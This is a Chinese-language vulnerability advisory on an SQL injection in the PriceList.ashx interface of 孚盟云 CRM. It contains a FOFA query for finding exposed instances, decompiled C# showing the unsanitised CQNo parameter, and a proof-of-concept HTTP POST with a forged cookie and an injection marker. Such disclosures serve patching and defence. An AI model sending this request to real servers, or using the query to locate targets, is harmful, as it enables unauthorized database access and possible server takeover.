孚盟云CRM PriceList.ashx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云PriceList.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 PriceList.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 PriceList 方法的实现如下

当method=getTitle时,进入getTitle方法

public void getTitle(HttpContext context)
{
  string CQNo = context.Request["CQNo"].ToString();
  string str1 = context.Request["FromType"];
  string fid = this.GetFID(CQNo);
  string str2 = string.Empty;
  string str3 = str1;
  if (!string.op_Equality(str3, "C"))
  {
    if (!string.op_Equality(str3, "L"))
    {
      if (string.op_Equality(str3, "A"))
        str2 = this.GetFieldAttach(this.mouldId, fid);
    }
    else
      str2 = this.GetProductList(CQNo);
  }
  context.Response.Write(str2);
}

public string GetProductList(string CQNo)
{
  DataTable table = this.dbHelper.Query($"select D.CQNo,D.Item_C_Name,BoxSize,Unit,SalePrice,SaleQty,SaleAmt,MainPic from scCQDtl D where D.CQNo='{CQNo}'").Tables[0];

会首先进入GetFID方法中

public string GetFID(string CQNo)
{
  return this.dbHelper.Query($"SELECT FID FROM scCQ where CQNo='{CQNo}'").Tables[0].Rows[0][0].ToString();
}

其中CQNo参数是被直接拼接进SQL语句,从而导致SQL注入漏洞。

漏洞复现

POST /m/Dingding/Ajax/PriceList.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1","corpId": "1"}
Content-Type: application/x-www-form-urlencoded

method=getTitle&CQNo='SQLI_POC--&FromType=L


手机扫码阅读

孚盟云CRM WorkFlowHandler.ashx SQL注入漏洞

孚盟云CRM DingHandler.ashx SQL注入漏洞

评 论